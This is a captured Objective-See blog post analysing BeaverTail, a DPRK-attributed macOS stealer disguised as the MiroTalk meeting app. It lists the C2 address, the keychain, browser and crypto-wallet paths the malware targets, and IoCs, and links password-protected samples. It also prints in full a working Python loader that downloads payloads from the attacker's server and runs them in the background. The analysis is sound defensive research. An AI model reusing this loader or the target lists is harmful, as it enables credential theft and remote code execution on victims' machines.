objective-see.org Open in urlscan Pro
185.199.111.153  Public Scan

URL: https://objective-see.org/blog/blog_0x7A.html
Submission: On July 18 via manual from CA — Scanned from CA

Form analysis 2 forms found in the DOM

/support.html

<form action="/support.html" style="display: inline;">
  <button class="menuicon button-4" role="button">Support Us!</button>
</form>

/support.html

<form action="/support.html" style="display: inline;">
  <button class="menuicon button-4" role="button" style="margin-top: 7px; float: right; padding:3px; padding-left: 10px; padding-right: 10px;">Support Us!</button>
</form>

Text Content

 * 
   Objective-See
   a non-profit 501(c)(3) foundation.
 *  * About
    * #OBTS
    * Book Series
    * Objective-We
    * Our Store/Swag
    * Malware Collection

 * Support Us!
 * blog
 * tools

--------------------------------------------------------------------------------

This Meeting Should Have Been an Email
A DPRK stealer, dubbed BeaverTail, targets users via a trojanized meeting app
by: Patrick Wardle / July 15, 2024

The Objective-See Foundation is supported by:


Jamf


Kandji


1Password



CleanMyMac X
Palo Alto Networks


Malwarebytes


iVerify


Huntress


📝 👾 Want to play along?

As “Sharing is Caring” I’ve uploaded samples of the malware(s) discussed in this
blog post:

▪️ BeaverTail.zip

▪️ InvisibleFerret

The password for both is: infect3d

...please though, don't infect yourself! 🙈


BACKGROUND

New Mac malware on Monday …yay? Earlier today, malwrhunterteam tweeted the
following:



As the disk image, (MiroTalk.dmg), is currently undetected by any of the AV
engines on VirusTotal, I decided to dig into this sample.

The malicious disk image is currently undetected by any of the AV engines on
VirusTotal

In this blog post we’ll start with the disk image and then walk through a fairly
comprehensive analysis of the malicious application it contains. This will
reveal its capabilities as well as provide attributions to North Korean (DPRK)
hackers …and in fact tie it an (older?) JavaScript variant. We’ll also show how
our free open-source tools, such as BlockBlock and LuLu can help thwart this
threat, even with no a priori knowledge of it!


INFECTION VECTOR?

In their posting, malwrhunterteam has kind enough to provide a hash and as this
file is on VirusTotal we can grab it for our own analysis purposes.

First, though, were did it come from? Poking around on VirusTotal we see that
the disk image was spotted in the wild (“ITW”) at
https://mirotalk.net/app/MiroTalk.dmg

The malicious disk image was hosted on mirotalk.net

This site is currently offline:

% nslookup mirotalk.net
Server:     1.1.1.1
Address:    1.1.1.1#53

** server can't find mirotalk.net: NXDOMAIN



However, looking at Google’s cache we can see its a clone of the legitimate Miro
Talk site, https://meet.no42.org.

Miro Talk is a legitimate application that provides “free browser-based
real-time video calls”, that allows your to “start your next video call with a
single click. No download, plug-in, or login is required”

It’s common for DPRK hackers to target their victims by posing as job hunters. A
recent write up, titled, “Hacking Employers and Seeking Employment: Two
Job-Related Campaigns Bear Hallmarks of North Korean Threat Actors” published by
Palo Alto Network’s Unit42 research group provides one such (likely DPRK)
campaign. And in fact it appears the malware we’re covering today is directly
related to this campaign!

If I had to guess, the DPRK hackers likely approached their potential victims,
requesting that they join a hiring meeting, by download and executing the
(infected version of) Miro Talk hosted on mirotalk.net. (Yes, even the cloned
site states, that you can “start your next video call with a single click. No
download, … is required.” but I guess, who reads the fine print?).


STATIC ANALYSIS OF MIROTALK.DMG & MIROTALK.APP

After downloading MiroTalk.dmg we can mount it and take a peek at its contents:

hdiutil attach -noverify ~/Downloads/MiroTalk.dmg 
/dev/disk8              GUID_partition_scheme           
/dev/disk8s1            Apple_HFS                       /Volumes/MiroTalk



The malicious disk image contains a single application

First, we note that the application is not signed:

The application is not signed

…this means that macOS (Gatekeeper) will block its execution, unless the user
control-clicks and selects “Open” and ignores the warning.

The application’s executable binary, is named Jami and is a 64-bit Intel Mach-O
executable:

% file /Volumes/MiroTalk/MiroTalk.app/Contents/MacOS/Jami 
/Volumes/MiroTalk/MiroTalk.app/Contents/MacOS/Jami: Mach-O 64-bit executable x86_64


It also is currently undetected on VirusTotal:

The application is not signed

Extracting embedded symbols (via nm) and strings reveal its likely capabilities:


% nm /Volumes/MiroTalk/MiroTalk.app/Contents/MacOS/Jami | c++filt
...
0000000100007100 T MainFunc::fileUpload()
00000001000080e0 T MainFunc::pDownFinished()
0000000100007b70 T MainFunc::upLDBFinished()
...
0000000100004f10 T MainFunc::setBaseBrowserUrl()
0000000100008810 T MainFunc::clientDownFinished()
0000000100007900 T MainFunc::run()
0000000100004f00 T MainFunc::MainFunc(QObject*)

% strings /Volumes/MiroTalk/MiroTalk.app/Contents/MacOS/Jami       
http://95.164.17.24:1224
nkbihfbeogaeaoehlefnkodbefgpgknn
ejbalbakoplchlghecdalmeeeajnimhm
fhbohimaelbohpjbbldcngcnapndodjp
hnfanknocfeofbddgcijnmhnfnkdnaad
ibnejdfjmmkpcnlpebklmnkoeoihofec
bfnaelmomeimhlpmgjnjophhpkkoljpa
...
C:\Users
/home
/Users
/AppData/Local/Google/Chrome/User Data
/Library/Application Support/Google/Chrome
/AppData/Local/BraveSoftware/Brave-Browser/User Data
/Library/Application Support/BraveSoftware/Brave-Browser
/AppData/Roaming/Opera Software/Opera Stable
...
/Library/Keychains/login.keychain-db

/uploads
Upload LDB Finshed!!!
/pdown
/client/99
Download Python Success!
--directory
/.pyp/python.exe
Download Client Success!


Specifically from the symbol’s output we see methods names (fileUpload,
pDownFinished, run) that reveal likely exfiltration and download & execute
capabilities. (Note to demangle embedded symbols we pipe nm’s output through
c++filt).

And from embedded strings we see both the address of the likely command &
control server, 95.164.17.24:1224 and also hints as to the type of information
the malware collect for exfiltration. Specifically browser extension IDs of
popular crypto-currency wallets, paths to user browsers’ data, and the macOS
keychain. Other strings are related to the download and execution of additional
payloads which appear to malicious python scripts.

Other symbols and strings reveal that the application was packaged up via the
Qt/QMake framework. For example, a string in the app’s Info.plist file states:
“This file was generated by Qt/QMake”.

Qt/QMake is used to create cross-platform applications. Based on strings in the
binary (e.g. "C:\Users") its easy to see this though we're looking at version of
the malware compiled for macOS, the malicious code is cross platform.

If we load the /Volumes/MiroTalk/MiroTalk.app/Contents/MacOS/Jami into a
disassembler we see the embedded strings referenced in methods that are aptly
named. For example the setBaseBrowserUrl method references strings relates to
browser paths:

1int setBaseBrowserUrl(int arg0) {
2    ...
3    var_20 = QString::fromAscii_helper("/Library/Application Support/Google/Chrome", 0x2a);


DYNAMIC ANALYSIS OF MIROTALK.APP

Let’s now run the application in a virtual machine.

At first, nothing appears amiss:

The application displays an (expected?) user interface



But a file monitor shows that Jami is rather busy, for example attempting to
read the user’s keychain:

# ./FileMonitor.app/Contents/MacOS/FileMonitor -pretty -filter Jami
{
  "event" : "ES_EVENT_TYPE_NOTIFY_OPEN",
  "file" : {
    "destination" : "/Users/user/Library/Keychains/login.keychain-db",
    "process" : {
        "pid" : 923,
        "name" : "Jami",
        "path" : "/Volumes/MiroTalk/MiroTalk.app/Contents/MacOS/Jami",
        "architecture" : "Intel",
        ...      
    }
  }
}


Also in a debugger, it helpfully displays the files it will (if present)
exfiltrate:

("/Users/Shared/Library/Keychains/login.keychain-db", "/Users/Shared/Library/Application Support/Google/Chrome/Local State", "/Users/Shared/Library/Application Support/BraveSoftware/Brave-Browser/Local State", "/Users/Shared/Library/Application Support/com.operasoftware.opera/Local State", "/Users/user/Library/Keychains/login.keychain-db", "/Users/user/Library/Application Support/Google/Chrome/Local State", "/Users/user/Library/Application Support/BraveSoftware/Brave-Browser/Local State", "/Users/user/Library/Application Support/com.operasoftware.opera/Local State")


It then attempts to exfiltrate these to its command & control server
(95.164.17.24 on port 1224). However, this appears to fail, as noted in the
debugger output:

Jami[923:32727] Error:  QNetworkReply::TimeoutError


Also it appears that the 2nd-stage payloads, for example the one that is
retrieved via the request to client/99 are failing, though the error message
provides information as to the file that was originally served up (main99.py)

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error</title>
</head>
<body>
<pre>Error: UNKNOWN: unknown error, open &#39;D:\server\backend server\assets\client\main99.py&#39;</pre>
</body>
</html>


However, if we return back to the embedded strings, recall the API endpoints the
malware attempts to communicate with (to both upload and download files) include
uploads, pdown and /client/99. If you read the Palo Alto Networks report (and
you really should!), we find the same API endpoints mentioned!

At that time, the PANW researchers noted the malware they dubbed BeaverTail
(that was communicating with these same endpoints) was “JavaScript-based”. It
seems the the DPRK hackers have now created a native-version of the malware,
which is what we’re looking at today.

There are many other overlaps and specific similarities between the JavaScript
variant of `BeaverTail` and the native (QT) variant we're looking at today. For
example, both go after the same cryto currency wallets.

Recall also that malwrhunterteam noted that the command & control server,
(95.164.17.24) is a known DPRK server. If query it via VirusTotal we find
information about the files it was hosting:



Files hosted on the malware's command & control server .



Though some are not longer available, others were scanned by VirusTotal
including client/5346, which turns out to be a simple cross-platform Python
downloader (and executor):

 1import base64,platform,os,subprocess,sys
 2try:import requests
 3except:subprocess.check_call([sys.executable, '-m', 'pip', 'install', 'requests']);import requests
 4
 5sType = "5346"
 6gType = "root"
 7ot = platform.system()
 8home = os.path.expanduser("~")
 9#host1 = "10.10.51.212"
10host1 = "95.164.17.24"
11host2 = f'http://{host1}:1224'
12pd = os.path.join(home, ".n2")
13ap = pd + "/pay"
14def download_payload():
15    if os.path.exists(ap):
16        try:os.remove(ap)
17        except OSError:return True
18    try:
19        if not os.path.exists(pd):os.makedirs(pd)
20    except:pass
21
22    try:
23        if ot=="Darwin":
24            # aa = requests.get(host2+"/payload1/"+sType+"/"+gType, allow_redirects=True)
25            aa = requests.get(host2+"/payload/"+sType+"/"+gType, allow_redirects=True)
26            with open(ap, 'wb') as f:f.write(aa.content)
27        else:
28            aa = requests.get(host2+"/payload/"+sType+"/"+gType, allow_redirects=True)
29            with open(ap, 'wb') as f:f.write(aa.content)
30        return True
31    except Exception as e:return False
32res=download_payload()
33if res:
34    if ot=="Windows":subprocess.Popen([sys.executable, ap], creationflags=subprocess.CREATE_NO_WINDOW | subprocess.CREATE_NEW_PROCESS_GROUP)
35    else:subprocess.Popen([sys.executable, ap])
36
37if ot=="Darwin":sys.exit(-1)
38
39ap = pd + "/bow"
40
41def download_browse():
42    if os.path.exists(ap):
43        try:os.remove(ap)
44        except OSError:return True
45    try:
46        if not os.path.exists(pd):os.makedirs(pd)
47    except:pass
48    try:
49        aa=requests.get(host2+"/brow/"+ sType +"/"+gType, allow_redirects=True)
50        with open(ap, 'wb') as f:f.write(aa.content)
51        return True
52    except Exception as e:return False
53res=download_browse()
54if res:
55    if ot=="Windows":subprocess.Popen([sys.executable, ap], creationflags=subprocess.CREATE_NO_WINDOW | subprocess.CREATE_NEW_PROCESS_GROUP)
56    else:subprocess.Popen([sys.executable, ap])

Others, such as payload/5346 are appear to be fully-featured cross-platform
Python backdoor dubbed by the PANW researchers as InvisibleFerret. This again
ties the malware looking at today to their previous analysis as they noted the
(JavaScript variant of) BeaverTail “retrieves additional malware as its
second-stage payload. This payload is a cross-platform backdoor we have named
InvisibleFerret.”


DETECTION

The North Korean hackers are a wily bunch and are quite adept at hacking macOS
targets, even though their technique often rely on social engineering (and thus
from a technical point of view are rather unimpressive).

Let’s end by looking at how Objective-See’s tools can help thwart this latest
DPRK malware. First, if you’re running BlockBlock in “Notarization Mode” it will
block the execution of any non notarized item from the Internet, even if the
user side-stepped macOS’s alert (via the control-click/open):

BlockBlock will block the malware, as its not notarized

And of course LuLu will alert you when BeaverTail attempts to connect to its
command & control server to exfiltrate the collected data and/or download
additional payloads:

LuLu intercepts the malware's authorized network communications

…hooray for free, open-source security tools! 😇

And if you’re looking for some IoCs here are a few:

 * MiroTalk.dmg SHA-256:
   0F5F0A3AC843DF675168F82021C24180EA22F764F87F82F9F77FE8F0BA0B7132
 * Jami: SHA-256
   0F5F0A3AC843DF675168F82021C24180EA22F764F87F82F9F77FE8F0BA0B7132
 * Command & Control Server: 95.164.17.24


CONCLUSION

Today, we analyzed what turned out to be a new (now native) variant of the DPRK
malware known as BeaverTail.

Masquerading as MiroTalk, this variant, (like the other non-native variants)
steals information from victims machines as well as download and executes
additional Python-based payloads such as InvisibleFerret.

Thank you for reading, stay safe out there, and yes, go ahead an use this as yet
another reason why most meetings should instead be emails!


❤️ Love these blog posts and/or want to support my research and tools?

You can support them via my Patreon page!



This website uses cookies to improve your experience.
Okay!
 * ✉
 * 
 * 
 * 
 * Support Us!
 * Signup for our newsletter Âť